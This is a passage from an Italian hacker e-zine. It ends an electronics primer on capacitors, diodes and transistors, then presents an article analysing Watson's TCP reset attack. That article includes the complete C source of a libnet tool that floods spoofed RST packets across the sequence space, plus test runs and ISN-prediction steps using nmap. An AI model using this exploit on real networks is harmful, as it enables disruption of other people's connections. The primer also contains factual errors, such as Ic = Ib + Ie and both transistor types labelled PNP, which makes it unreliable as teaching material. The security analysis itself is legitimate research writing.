Un condensatore e' un dispositivo in grado di accumulare carica
elettrica. E' formato da due lamine metalliche affacciate l'una
all'altra e da materiale dielettrico posto tra le due lamine. La carica
accumulata e' proporzionale ad una proprieta' detta capacita' che,
espressa in Farad, e' pari al rapporto tra carica accumulata Q e
tensione V applicata alle lamine. Esistono diversi tipi di condensatori
e vengono classificati in base alle caratteristiche costruttive in:
elettrolitici, ceramici, al tantalio e in poliestere. I condensatori
hanno un comportamento diverso a seconda del tipo di tensione applicata
(continua o alternata) e non sono generalmente polarizzati, tranne del
caso dei condensatori elettrolitici. La corrente ai capi di un
condensatore e' proporzionale alla derivata della tensione sul tempo e
alla capacita' del condensatore stesso.

INDUTTANZE
L'induttanza o induttore e' un dispositivo formato da una bobina di filo
avvolta attorno ad un supporto detto Nucleo, che a volte puo‘ non
esserci. Non ha praticamente effetto in corrente continua mentre in
regime alternato esso genera un campo magnetico variabile a seconda del
numero di spire. La tensione generata ai capi dell'induttore e'
proporzionale alla variazione di corrente in esso e ad un fattore detto
induttanza. La presenza di questo elemento si nota nei transitori.


I COMPONENTI ELETTRONICI DI BASE

Prima di analizzare i componenti elettronici di base e' necessario
conoscere le basi del silicio. Si tratta infatti di un semiconduttore
molto diffuso in natura dalle scarse proprieta' elettriche che presenta
una pessima conducibilita'. Per migliorare le caratteristiche elettriche
del silicio si usa drogarlo con altri elementi di valenza 3 o valenza 5.
Il silicio presenta infatti 4 elettroni di valenza nella banda piu'
esterna e sostituendo alcuni atomi di silicio con elementi di valenza
superiore (5) o inferiore (3) si rendono liberi elettroni o si creano
delle lacune. Drogando il silicio con elementi a valenza 3 si ottiene il
silicio di tipo P (con lacune) mentre drogando il silicio con elementi a
valenza 5 si ottiene il silicio di tipo N (con elettroni liberi).In
entrambi i casi si ottiene una migliorata conducibilita' elettrica.

DIODI
Mettendo a contatto una zona di tipo P con una zona di tipo N, gli
elettroni in eccesso nella zona N si dirigono verso la zona P. Se non ci
fossero reazioni nella regione di campo spaziale tra N e P dopo un breve
periodo il flusso di elettroni si interromperebbe e entrambe le zone
diverrebbero neutre. Il movimento di elettroni crea tuttavia un campo
elettrico che genera una corrente opposta a quella di elettroni che
rende il processo praticamente inesauribile in quando le correnti sono
uguali in condizioni di equilibro. Una giunzione PN non e' altro che un
diodo ed applicando tensione alla stessa si ha una modifica della
caratteristica esterna (rapporto tra tensione e corrente) dello stesso.
Applicando tensione negativa al diodo si ha una piccola corrente di
saturazione, generalmente trascurabile. Se la tensione negativa
applicata al diodo e' ragguardevole si raggiunge un punto in cui il
diodo va in conduzione inversa ottenendo il break-down, che puo'essere
Zener o a valanga. Si tratta di due condizioni in cui la tensione
applicata agli atomi rompe i legami covalenti degli elettroni e li mette
in banda di conduzione. Il break-down Zener e' reversibile e non crea
danni, mentre quello a valanga distrugge il diodo. Applicando tensione
positiva al diodo si ha un intervallo nel quale la tensione non cresce
in modo significativo ed infatti il diodo non viene considerato in
conduzione. Superata la tensione di soglia (circa 0.7 V) il diodo entra
in conduzione diretta. Generalmente un diodo viene visto come un
dispositivo in grado di lasciare passare la corrente solo se fluente in
un certo senso. Vengono inoltre adoperati per convertire la tensione
alternata in continua (come raddrizzatori).

TRANSISTOR
I transistor sono alla base di tutti i componenti elettronici che ci
circondano e hanno principalmente due proprieta': possono comandare una
porta attraverso un contatto e possono fungere da amplificatori.
Esistono principalmente due tipi di transistor: quelli a giunzione BJT e
quelli ad effetto di campo FET.

BJT
Aggiungendo un terzo elemento alla giunzione PN si ottiene il transistor
a giunzione che e' caratterizzato da tre elementi: base, collettore ed
emettitore. I transistor BJT si differenziano in NPN e PNP a seconda
delle giunzioni utilizzate e quindi delle polarita' in gioco. Nel tipo
PNP la corrente fluisce dall'emettitore verso il collettore ed entra
nella base mentre nel PNP la corrente e' inversa: esce dalla base e
fluisce dal collettore all'emettitore. Perche' un transistor funzioni
correttamente e' necessario che l'emettitore sia molto piu' drogato
della base e che la base sia molto piu' stretta dell'emettitore. Si fa
questo per avere effetto transistore e per aumentare il fattore di
amplificazione. Per limitare inoltre l'effetto Early si deve drogare il
collettore meno della base. Per parlare correttamente del funzionamento
di un transistor e' necessario parlare delle grandezze in gioco: Vce, la
tensione fra collettore ed emettitore; Vbe, la tensione fra base ed
emettitore; Ic, la corrente di collettore; Ib, la corrente di base; Ie,
la corrente di emettitore. Durante il normale utilizzo del transistor
e' bene aver presenti alcune regole elementari:

- Ic = Ib + Ie
- La giunzione BE e' polarizzata direttamente mentre la giunzione CB e'
polarizzata inversamente per l'utilizzo in zona lineare.
- Ic = (B + 1)Ib (solo in zona lineare)

I transistor funzionano in tre zone tipiche: in saturazione, in zona
attiva e in zona di interdizione.
La prima e l'ultima sono utili durante le applicazioni digitali mentra
la zona attiva ha diverse applicazioni ed e' applicata
nell'amplificazione di segnali analogici, come ad esempio l'audio.
Per ottenere la saturazione entrambe le giunzioni devono essere
polarizzate direttamente mentre, per avere interdizione le zone devono
essere polarizzate inversamente. La zona attiva si ottiene applicando
polarizzazione diretta alla giunzione BE e polarizzazione inversa alla
giunzione BC.
Esiste una quarta modalita' d'uso detta Attiva Inversa che pero'non e'
molto utilizzata per via della conformazione fisica del transistor (non
si tratta di un dispositivo simmetrico).

MOSFET
I transistor ad effetto di campo si differenziano dai BJT per le
modalita' costruttive e per il modo in cui funzionano. In un substrato
di un tipo vengono iniettate due zone molto drogate del tipo opposto e
viene inoltre applicato uno strato di ossido di silicio al quale viene
collegato un contatto detto gate. Alle zone molto drogate vengono
collegati due contatti, chiamati rispettivamente source e drain
(sorgente e pozzo). Supponendo source e base a massa, applicando
tensione al gate si crea un canale elettronico tra source e drain che
permette alla corrente di fluire. La tensione necessaria da applicare al
gate per aprire il canale elettronico viene chiamata tensione di soglia.
Un transistor di questo tipo ha tre zone operative: la zona lineare, la
zona di saturazione e la zona di interzione. Un MOSFET e' spento se la
tensione di gate rispetto a quella di source Vgs e` minore della
tensione di soglia. Se la tensione e' maggiore il transistor puo'
trovarsi in condizione di linearita' o di saturazione a seconda che la
tensione tra drain e source Vds sia minore o maggiore della differenza
tra la Vgs e la tensione di soglia Vth.

GREETINGS
Un grazie ed un saluto a: S.P.I.N.E. Group, lo staff di OndaQuadra, il
team di sviluppatori di Xfce, lo staff di Slackit.org e chiunque altro
abbia dimenticato :-)
Se avete qualcosa da chiedere scrivetemi.


Eduard 'master^shadow' Roccatello <master(at)spine-group<dot>org>


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x07][SECURiTY] ELEMENTARE WATS0N! [eazy] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

1. Premessa
2. Introduzione
3. Fondamenti TCP
4. L'attacco di reset
5. Codice Tcp Reset
6. Stime dei tempi
7. Risultati dei test sulla rete
8. Predizione degli ISN
9. Attacco di injection
10. Codice Tcp Inject
11. Riferimenti


1. Premessa

In questo articolo analizzeremo le problematiche relative al protocollo
TCP evidenziate da Paul Watson nel suo paper dal titolo
"Slipping In The Window: TCP Reset Attacks".
Lo scopo di questo articolo quello di riprendere in mano l'analisi di
Watson al fine di verificare effettivamente quali informazioni possono
essere considerate attendibili e quali invece sono da considerarsi
tendenziose.
Verranno inoltre descritte alcune varianti dell'attacco che permettono
ad un attacker di iniettare dei dati all'interno della sessione TCP.


2. Introduzione

Circa un mese fa, in occasione della conferenza CanSecWest, Paul Watson
ha rilasciato il suo paper dal titolo "Slipping In The Window: TCP Reset
Attacks"
che descrive un attacco grazie al quale sarebbe possibile
resettare una sessione TCP remota.

Tale notizia, alimentata a dovere dai media, sfociata nel solito falso
allarmismo tanto amato da molti giornalisti che popolano la televisione
e i giornali.
Dall'altra parte i ricercatori hanno reagito in tutt'altra maniera
criticando Watson e affermando che di tale problematica si era gi al
corrente da tempo e che non siamo di fronte a nulla di nuovo.

I pi attenti di voi, che si sono presi la briga di leggere il paper in
questione, si saranno accorti invece che Watson dice espressamente di
voler riprendere in mano nel suo paper un'analisi di Convery e Franz dal
titolo "BGP Vulnerability Testing: Separating Fact from FUD" che ritiene
non del tutto corretta.


3. Fondamenti TCP

Prima di addentrarci nella parte piu' tecnica dell'articolo cerchero' di
fare una piccola introduzione sul protocollo TCP in modo tale da
permettere anche ai meno esperti di comprendere l'articolo.
Tuttavia e' bene precisare che una trattazione completa dell'argomento
richiederebbe molto tempo ed esula dagli scopi dell'articolo pertanto mi
limitero' a una breve introduzione.
Per chi volesse approfondire posso consigliare la lettura del testo [3].

Quando due host vogliono stabilire una sessione TCP devono procedere a
quello che viene definito 3 way handshake, un processo composto da tre
fasi grazie al quale i due host si sincronizzano.
Eccone un esempio visto da tcpdump:

Il primo pacchetto TCP ha il flag SYN settato e indica all'host che lo
riceve che il mittente vuole stabilire una nuova connessione
19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23:
S 1779314092:1779314092(0) win 5840

L'altro host risponde con un pacchetto TCP con i flag SYN e ACK settati
e indica che l'host ha accettato la richiesta di connessione
19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986:
S 1159405505:1159405505(0) ack 1779314093 win 5792

Infine, il primo host invia un pacchetto TCP con il flag ACK settato che
funge da conferma per il pacchetto precedentemente ricevuto
19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23:
. ack 1159405506 win 5840

La sessione TCP tra i due host stabilita.
Ma cosa sono quei numeri 1779314092 e 1159405505?

Beh, quei numeri sono dei valori a 32 bit che prendono il nome di numeri
di sequenza e vengono utilizzati dal protocollo TCP per contrassegnare
univocamente ogni byte scambiato nel corso della sessione.
Vediamo come procede la sessione TCP una volta che la connessione e'
stabilita:

Il primo host invia 6 byte di dati al secondo host, i numeri di sequenza
che identificano univocamente i 6 byte trasmessi sono quelli che vanno
da 1779314093 a 1779314099 escluso.
19:18:38.254030 192.168.1.5.32986 > 192.168.1.6.23:
P 1779314093:1779314099(6) ack 1159405506 win 5840

Il secondo host riceve il pacchetto contenente i 6 byte di dati e
risponde con un pacchetto con flag ACK settato che funge da conferma.
Il valore del campo acknowledgment number vale 1779314099 e indica il
prossimo numero di sequenza atteso dal proprio interlocutore. Indica
implicitamente che tutti i byte precedenti sono stati ricevuti con
successo.
19:18:38.254243 192.168.1.6.23 > 192.168.1.5.32986:
. ack 1779314099 win 5792


Se l'host con IP address 192.168.1.5 volesse inviare ulteriori dati
dovrebbe utilizzare come numero di sequenza 1779314099 ovvero il
prossimo numero di sequenza atteso dal suo interlocutore.


4. L'attacco di reset

Il concetto alla base dell'attacco ipotizzato da Watson che affinche'
un pacchetto TCP di reset venga accettato dallo stack non necessario
che il sequence number sia necessariamente il prossimo numero di
sequenza (SEQ) atteso dal nostro interlocutore bensi' un qualsiasi
numero di sequenza che si trovi nel range di valori tra il prossimo SEQ
atteso e tale valore piu' la window size.

Riprendendo l'esempio precedente questo vuol dire che se l'host con IP
address 192.168.1.5 desiderasse resettare la connessione potrebbe
inviare un pacchetto con la flag RST settata e con un numero di sequenza
compreso tra 1779314099 e 1779314099 + 5792.

Vediamo cosa dice in merito l'RFC 793 del TCP:

A segment is judged to occupy a portion of valid receive sequence
space if

RCV.NXT =< SEG.SEQ < RCV.NXT+RCV.WND

or

RCV.NXT =< SEG.SEQ+SEG.LEN-1 < RCV.NXT+RCV.WND


The first part of this test checks to see if the beginning of the
segment falls in the window, the second part of the test checks to see
if the end of the segment falls in the window; if the segment passes
either part of the test it contains data in the window.


dove RCV.NXT = il prossimo SEQ atteso
RCV.NXT+RCV.WND = il massimo valore di SEQ atteso
SEG.SEQ = il valore del SEQ effettivamente ricevuto
SEG.SEQ+SEG.LEN-1 = il valore del SEQ dell'ultimo byte ricevuto


Nel nostro caso:

1779314099 =< SEG.SEQ < 1779314099 + 5792

il valore della window size si puo' ricavare dalla voce "win 5792"
relativa dall'output di tcpdump precedentemente analizzato.

Sempre dall'RFC 793 si puo' leggere quanto segue:

Receive Sequence Space

1 2 3
----------|----------|----------
RCV.NXT RCV.NXT
+RCV.WND

1 - old sequence numbers which have been acknowledged
2 - sequence numbers allowed for new reception
3 - future sequence numbers which are not yet allowed

Receive Sequence Space

Figure 5.



The receive window is the portion of the sequence space labeled 2 in
figure 5.



Ma cos'e' questa window size?
Ancora una volta possiamo trovare una risposta nell'RFC:

The window sent in each segment indicates the range of sequence
numbers the sender of the window (the data receiver) is currently
prepared to accept. There is an assumption that this is related to
the currently available data buffer space available for this
connection.


Quanto grande e' di norma il valore relativo alla window size?
Tale valore varia per ogni sistema operativo, ed possibile ricavarlo
semplicemente connettendosi alla macchina e osservando la fase di
handshake della connessione:

19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23:
S 1779314092:1779314092(0) win 5840

19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986:
S 1159405505:1159405505(0) ack 1779314093 win 5792

19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23:
. ack 1159405506 win 5840

I due host sono due macchine Linux con kernel 2.4.18 e 2.4.20 e usano un
valore di window size di 5840 e 5792.
Le macchine Windows XP/2000 usano window size molto piu' grandi che
variano a seconda del service pack montato, i valori della window size
per tali sistemi puo' variare dai 16384 ai 64512.
Per maggiori dettagli e' possibile fare riferimento alla Figura 4 del
paper [1] di Watson.

Come puo' essere sfruttata questa caratteristica da un attacker per
resettare una connessione?

Un attacker dovrebbe inviare un pacchetto TCP con il flag RST settato e
spoofato in modo tale che sembri provenire da uno dei due capi della
sessione.
Affinche' l'attacco vada a buon fine il pacchetto TCP spoofato inviato
dall'attacker deve contenere un numero di sequenza valido.
Abbiamo visto che lo stack TCP accetta come buono un pacchetto se il suo
numero di sequenza cade nell'intervallo tra il valore atteso e tale
valore piu' la window size.
Questo vuol dire che se un attacker volesse resettare una sessione TCP
remota non sarebbe costretto a inviare tanti pacchetti quanti i
possibili valori di sequence number (2^32) bensi' tanti quanti i
possibili intervalli di window size (2^32 / window size).
Questo riduce di molto il numero di tentativi necessari facilitando la
possibilit di un attacco di reset.
Piu' e' grande il valore relativo alla window size tanto piu'
velocemente sara' possibile portare a termine l'attacco.

Esiste tuttavia un ulteriore elemento di variabilita'. L'attacker puo'
sfruttare la window size per ridurre il numero di tentativi necessari
per indovinare il numero di sequenza esatto ma deve essere in grado
di indovinare anche la porta sorgente del pacchetto.

Ricapitoliamo.
L'attacker ha bisogno delle seguenti informazioni per forgiare un
pacchetto di reset valido:

1) IP sorgente e destinazione: sono gli indirizzi dei due capi della
connessione di cui l'attacker e' a conoscenza;
2) numero di sequenza: puo' essere indovinato a tentativi usando il
*trucco* della window size. Il numero di tentativi necessari e'
inversamente proporzionale alla grandezza della window.
3) porta di destinazione: solitamente e' un valore standard a seconda
del protocollo applicativo utilizzato, esempio http 80, smtp 25;
4) porta sorgente: e' un elemento variabile il cui comportamento dipende
dal sistema operativo.

Come ci ricaviamo la porta sorgente?
A questo punto l'incognita piu' grossa per il nostro attacker rimane
determinare la porta sorgente che ha originato la sessione TCP.
La porta sorgente e' una variabile a 16 bit che puo' assumere 65536
valori possibili, tuttavia nella maggior parte dei sistemi operativi
tale valore viene scelto secondo un algoritmo talmente semplice da
permetterne la predizione.
Ogni sistema operativo utilizza un valore iniziale di porta sorgente ben
definito e incrementa tale valore di uno per ogni nuova connessione
stabilita dall'host.
Ad esempio Linux con kernel 2.4.18 quando stabilisce la prima
connessione (in veste di client) utilizza di default un valore di porta
sorgente pari a 32770, per ogni nuova connessione il valore di porta
sorgente viene incrementato di uno.
Questo rende possibile per un attacker prevedere il valore della porta
sorgente eseguendo un certo numero di tentativi, nel suo paper Watson
parla di una media di 50 tentativi, tuttavia tale valore dipende molto
dall'attivita' del sistema.
Per maggiori approfondimenti e' possibile fare riferimento alla Figura 5
del paper [1].


5. Codice Tcp Reset

/*
* tcp_reset.c: Proof of concept exploit that demonstrates the
* vulnerability described by Paul A. Watson in his paper
* "Slipping In The Window: TCP Reset Attacks"
*
* You need libnet 1.1.x
*
* Compile:
* gcc tcp_reset.c -o tcp_reset -lnet
*
* By: eazy <eazy@ondaquadra.org>
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libnet.h>

void
usage(char *prog)
{
fprintf(stderr, "Usage: %s -s <src ip> -d <dst ip> -p <src port>"
" -q <dst port> [-n <seq>] [-w <window size>] [-t <timeout>]\n"
"\t-s\tsource ip address\n"
"\t-d\tdestination ip address\n"
"\t-p\tsource port\n"
"\t-q\tdestination port\n"
"\t-n\tinitial sequence number (default random)\n"
"\t-w\twindow size (default 1000)\n"
"\t-t\tpacket timeout (default 10000)\n"
,prog);
exit(-1);
}

int
main(int argc, char **argv)
{

int i, c, build_ip, opt, win = 1000, timeout = 10000;
unsigned short src_port = 0, dst_port = 0;
unsigned long src_ip = 0, dst_ip = 0, seq = 0;
libnet_t *l;
libnet_ptag_t tcp, ip;
struct libnet_stats stat;
char errbuf[LIBNET_ERRBUF_SIZE];

memset(&stat, 0, sizeof(stat));

if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {
fprintf(stderr, "Libnet_init error: %s\n", errbuf);
exit(-1);
}
while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1)
switch (opt) {
case 's':
src_ip = libnet_name2addr4(l, optarg,
LIBNET_DONT_RESOLVE);
break;
case 'd':
dst_ip = libnet_name2addr4(l, optarg,
LIBNET_DONT_RESOLVE);
break;
case 'p':
src_port = atoi(optarg);
break;
case 'q':
dst_port = atoi(optarg);
break;
case 'n':
seq = strtoul(optarg, NULL, 0);
break;
case 'w':
win = atoi(optarg);
break;
case 't':
timeout = atoi(optarg);
break;
case 'h':
case '?':
usage(argv[0]);
}

if (optind < argc)
usage(argv[0]);

if (!src_ip || !dst_ip || !src_port || !dst_port)
usage(argv[0]);

if (!seq) {
libnet_seed_prand(l);
seq = libnet_get_prand(LIBNET_PRu32);
}
for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1;
seq < 4294967296 - win; seq += win) {

tcp = libnet_build_tcp(
src_port,/* source port */
dst_port,/* destination port */
seq, /* sequence number */
0, /* acknowledgement */
TH_RST, /* control flags */
31337, /* window size */
0, /* checksum */
0, /* urgent pointer */
LIBNET_TCP_H,/* packet size */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
tcp); /* libnet id */

if (tcp == -1) {
fprintf(stderr, "Libnet_build_tcp error: %s\n",
libnet_geterror(l));
goto bad;
}
if (build_ip) {
build_ip = 0;
ip = libnet_build_ipv4(
LIBNET_IPV4_H +
LIBNET_TCP_H,/* length */
0, /* TOS */
666, /* IP ID */
0, /* IP Frag */
64, /* TTL */
IPPROTO_TCP,/* proto */
0, /* checksum */
src_ip, /* source IP */
dst_ip, /* dest IP */
NULL, /* payload */
0, /* pl size */
l, /* lib handle */
0); /* libnet id */

if (ip == -1) {
fprintf(stderr,
"Libnet_build_ipv4 error: %s\n",
libnet_geterror(l));
goto bad;
}
}
if ((c = libnet_write(l)) == -1) {
fprintf(stderr, "Libnet_write error: %s\n",
libnet_geterror(l));
goto bad;
}
for(i = 0; i < timeout; i++);
}

libnet_stats(l, &stat);
fprintf(stderr, "Packets sent: %d (%d bytes)\n"
"Packet errors: %d\n",
stat.packets_sent, stat.bytes_written,
stat.packet_errors);
libnet_destroy(l);
exit(0);

bad:
libnet_destroy(l);
exit(-1);
}


6. Stime dei tempi

Quanto tempo e' necessario per portare a termine l'attacco?
Dipende prima di tutto dalla connessione a nostra disposizione, dalla
connessione del sistema target e dal valore della window size.
La formula che ci permette di calcolare il tempo e' la seguente:

NSEQ / WINDOW / PKT_PER_SECOND

Dove NSEQ sono tutti i possibili valori di sequence number, WINDOW e' il
valore assunto dalla window size del sistema destinatario dei pacchetti
e PKT_PER_SECOND e' il numero di pacchetti al secondo che l'attacker e'
in grado di generare.

Facciamo due conti, per semplicita' assumiamo che il sistema target
disponga di una connessione con una banda in downstream uguale o
superiore alla nostra e che l'attacker sia a conoscenza della porta
sorgente.

Personalmente dispongo di una ADSL con 640 Kbps in downstrem e 256 Kbps
in upstream, cio' che ci interessa in questo caso e' la banda in
upstream ovvero quanti pacchetti siamo in grado di inviare in uscita.
Se ogni pacchetto e' composto da 20 byte di header IP piu' altri 20 byte
di header TCP possiamo considerare una lunghezza di 40 byte per ogni
pacchetto, visto che un pacchetto RST non ha alcun payload.
Con una banda a disposizione di 256 Kbps ovvero 32 KB/sec vuol dire che
siamo in gradi di trasmettere:

32 * 1024 = 32768 byte al secondo

che espresso in numero di pacchetti

32768 / 40 = 819 pacchetti circa al secondo

Assumiamo un NSEQ pari a 2^32 / 2, diviso 2 perche' statisticamente
dovremmo indovinare il valore corretto dopo aver effettuato il 50% dei
tentativi.
Assumiamo poi una WINDOW pari a 16384 che e' il valore di default per
molti sistemi Windows e PKT_PER_SECOND pari a 819 ovvero il valore
calcolato in precedenza.
Applicando la formula otteniamo un valore medio di:

2^32 / 2 / 16384 / 819 = ~ 160 secondi

Per un sistema Linux con kernel 2.4 che adotta una WINDOW piu' piccola
il tempo risulta maggiore:

2^32 / 2 / 5840 / 819 = ~ 449 secondi

Queste stime sono da considerarsi tuttavia poco indicative visto che
abbiamo assunto per semplicita' che l'attacker sia a conoscenza della
porta sorgente cosa che nella

  
realta' risulta falsa.
Pertanto per avere delle stime piu' attendibili e' necessario
moltiplicare il valore stimato per il numero di tentativi necessari per
indovinare la porta sorgente (nel paper [1] si parla di una media di 50
tentativi).

Tuttavia tali stime risultano sicuramente meno tendenziose di quelle
presentate da Watson nel suo paper, alcune di esse in particolare
rasentano a mio avviso il ridicolo.
Seguono alcune stime presentate da Watson nel paper [1] che a mio avviso
risultano poco attendibili:

2^32 / 2 / 16384 / 62500 = ~ 2 secondi

la prima cosa che balza all'occhio e' il valore dei pacchetti generati
al secondo 62500.
Assumendo una grandezza di 40 byte per ogni pacchetto calcolato come
20 byte di IP header piu' 20 byte di TCP header e nessun payload
possiamo stimare la banda assunta da Watson nell'esempio:

62500 * 40 * 8 / 1024 / 1024 = ~ 19 Mbit

Diciamo che una banda del genere non e' da tutti!

Altra tabella nel paper di Watson che riporta a mio avviso dei dati
tendenziosi:

Internet | Time Requirement
Connectivity | known source port
|
..... | .....
45mbps | 1/2 second
155mbps | 1/10 second
|


Se da un punto di vista puramente matematico i valori stimati non fanno
una piega bisogna dire che essi non tengono conto di una cosa
fondamentale ovvero che la vittima dovrebbe disporre di una banda in
ingresso almeno pari a quella dell'attaccante!
Ma cosa succede se un attacker dovesse resettare un target che si trova
su una linea ADSL?
Succede che l'attacker puo' anche avere tutta la banda che vuole a
disposizione ma non puo' generare un numero di pacchetti superiore
a quello consentito dalla linea del destinatario pena vedersi droppare
gran parte del traffico.


7. Risultati dei test sulla rete

Bando alle ciance. Fino ad ora abbiamo fatto tanti calcoli ma non
abbiamo ancora concluso nulla di concreto.
In questa sezione dell'articolo vedremo i risultati di alcuni test
condotti con una banda a disposizione pari a quella ipotizzata per le
stime ovvero una ADSL con 256 Kbps in upstream.
Per questioni di tempi i test sono stati condotti assumendo che la
porta sorgente sia conosciuta dall'attacker, come detto in precedenza
i risultati dei tempi ottenuti vanno moltiplicati per il numero di
tentativi necessari per indovinare la porta sorgente (nel paper [1] si
parla di una media di 50 tentativi).
I test sono stati condotti utilizzando il sorgente tcp_reset.c fornito
nel capitolo 5 e il comando time per misurare il tempo di esecuzione di
netcat dal momento in cui viene avviato al momento in cui termina
l'esecuzione a seguito del reset della connessione.

Come prima cosa tariamo la velocita' con cui i pacchetti dovranno essere
generati, sappiamo che con una banda in upstrem di 256 Kbps possiamo
generare al massimo 819 pacchetti/secondo (vedi calcoli fatti in
precedenza).
Settiamo un sequence number di partenza di 4294966477 (2^32 - 819) e
impostiamo la window size a 1, questo causera' la generazione di 818
pacchetti.
Come primo tentativo usiamo un valore di timeout tra un pacchetto e
l'altro di 100000 e usiamo il comando time per calcolare il tempo di
esecuzione:

# gcc tcp_reset.c -lnet
# time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477
-w 1 -t 100000

Packets sent: 818 (32720 bytes)
Packet errors: 0

real 0m0.507s
user 0m0.470s
sys 0m0.040s

Abbiamo generato 818 pacchetti in circa mezzo secondo, troppo veloce.
Riproviamo con un valore di timeout di 200000:

# time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477
-w 1 -t 200000

Packets sent: 818 (32720 bytes)
Packet errors: 0

real 0m0.976s
user 0m0.910s
sys 0m0.070s

Ci siamo quasi, abbiamo generato 818 pacchetti in poco meno di un
secondo, proviamo ad aggiustare di poco il timeout:

# time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477
-w 1 -t 210000

Packets sent: 818 (32720 bytes)
Packet errors: 0

real 0m1.023s
user 0m0.990s
sys 0m0.030s

Ora va bene, sappiamo che durante i nostri test dovremo utilizzare un
valore di timeout di 210000.

A questo punto siamo pronti ad eseguire dieci prove consecutive e
raccogliere i dati relativi ai tempi.
Sulla macchina 192.168.1.5 avviamo netcat in ascolto sulla porta 23 e
dalla macchina 192.168.1.6 avviamo una sessione telnet verso il primo
host. Una volta che la connessione e' stabilita, da una terza macchina,
avviamo il nostro tcp_reset.c illustrato nei paragrafi precedenti:

./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 1 -w 5840
-t 210000

-s e' l'indirizzo IP sorgente spoofato
-d e' l'indirizzo IP di destinazione
-p e' la porta sorgente, assumendo sia conosciuta
-q e' la porta di destinazione
-n e' il primo numero di sequenza da provare
-w e' la grandezza della window size
-t e' il timeout e regola la velocita' con cui i pacchetti sono generati


Ecco i risultati ottenuti, ovvero il tempo necessario per eseguire un
reset della sessione:

# time nc -l -p 23
y !"'y
real 3m48.960s
user 0m0.000s
sys 0m0.000s

# time nc -l -p 23
y !"
'y
real 6m15.618s
user 0m0.000s
sys 0m0.000s

# time nc -l -p 23
y !"'y
real 8m43.024s
user 0m0.000s
sys 0m0.000s

# time nc -l -p 23
y !"
'y
real 8m41.362s
user 0m0.000s
sys 0m0.000s

# time nc -l -p 23
y !"'y
real 11m42.991s
user 0m0.010s
sys 0m0.010s

# time nc -l -p 23
y !"
'y
real 8m19.220s
user 0m0.010s
sys 0m0.000s

# time nc -l -p 23
y !"'y
real 10m12.173s
user 0m0.000s
sys 0m0.000s

# time nc -l -p 23
y !"
'y
real 10m5.096s
user 0m0.000s
sys 0m0.000s

# time nc -l -p 23
y !"'y
real 9m53.191s
user 0m0.000s
sys 0m0.010s

# time nc -l -p 23
y !"
'y
real 7m14.511s
user 0m0.000s
sys 0m0.000s


Dai tempi rilevati possiamo calcolare un valore medio:

4573 / 10 = ~ 457 secondi

Come possiamo vedere tale valore si avvicina molto ai 422 secondi
stimati.


8. Predizione degli ISN

Il numero di sequenza iniziale (ISN) e' il primo numero di sequenza
scambiato da ciascun host nella fase iniziale di handshake.

19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23:
S 1779314092:1779314092(0) win 5840

19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986:
S 1159405505:1159405505(0) ack 1779314093 win 5792

19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23:
. ack 1159405506 win 5840

In questo caso l'ISN generato dall'host 192.168.1.5 e' 1779314092 mentre
l'ISN generato dall'host 192.168.1.6 e' 1159405505.

Per motivi di sicurezza gli ISN vengono generati mediante un algoritmo
pseudo random che dovrebbe scongiurare la possibilita' di attacchi blind
spoofing mediante la predizione del numero di sequenza iniziale.
Per la precisione l'algoritmo genera nuovi ISN per incrementi random,
questo vuol dire che conosciuto l'ISN della sessione TCP x non siamo in
grado di prevedere con esatezza il valore dell'ISN per la futura
sessione x+1 ma sappiamo che il suo valore sara' sicuramente superiore
al precedente.

Come possiamo sfruttare questa conoscenza nel contesto dell'attacco di
reset?
Se l'attacker si trova nella condizione di poter sapere piu' o meno
quando verra' stabilita la sessione TCP che desidera resettare sara' in
grado di eseguire dei campionamenti degli ISN correnti al fine di
calcolare l'incremento random medio degli ISN. Questo gli permetterebbe
di ridurre notevolmente lo spazio di numeri di sequenza da testare.

Se prima lo spazio di numeri di sequenza da testare era dato dalla
formula:

2^32 / window size / 2

calcolato l'incremento random medio INC, lo spazio di numeri di sequenza
da testare si riduce a un multiplo di INC:

INC * N / window size / 2

dove INC e' un valore molto inferiore rispetto a 2^32 e N e' un valore
che cresce in funzione del numero di connessioni che il sistema oggetto
della nostra analisi si trova a gestire e del tempo trascorso tra il
campionamento e il momento in cui la sessione TCP da resettare viene
effettivamente stabilita.

Con nmap possiamo vedere l'algoritmo utilizzato per la generazione degli
ISN in questo modo:


# nmap -sT -O -v 192.168.1.6

Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ )
Host (192.168.1.6) appears to be up ... good.
Initiating Connect() Scan against (192.168.1.6)
Adding open port 22/tcp
The Connect() Scan took 0 seconds to scan 1556 ports.
For OSScan assuming that port 22 is open and port 1 is closed and
neither are firewalled
Interesting ports on (192.168.1.6):
(The 1555 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
Remote operating system guess: Linux Kernel 2.4.0 - 2.4.18 (X86)
Uptime 0.464 days (since Tue May 25 10:18:37 2004)
TCP Sequence Prediction: Class=random positive increments
Difficulty=1676692 (Good luck!)
IPID Sequence Generation: All zeros

Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds


L'informazione che maggiormente ci interessa in questo caso e' la voce
TCP Sequence Prediction che indica la presenza di un algoritmo di
generazione degli ISN basato su incrementi positivi random.

Ora che ci siamo accertati dell'algoritmo di generazione possiamo
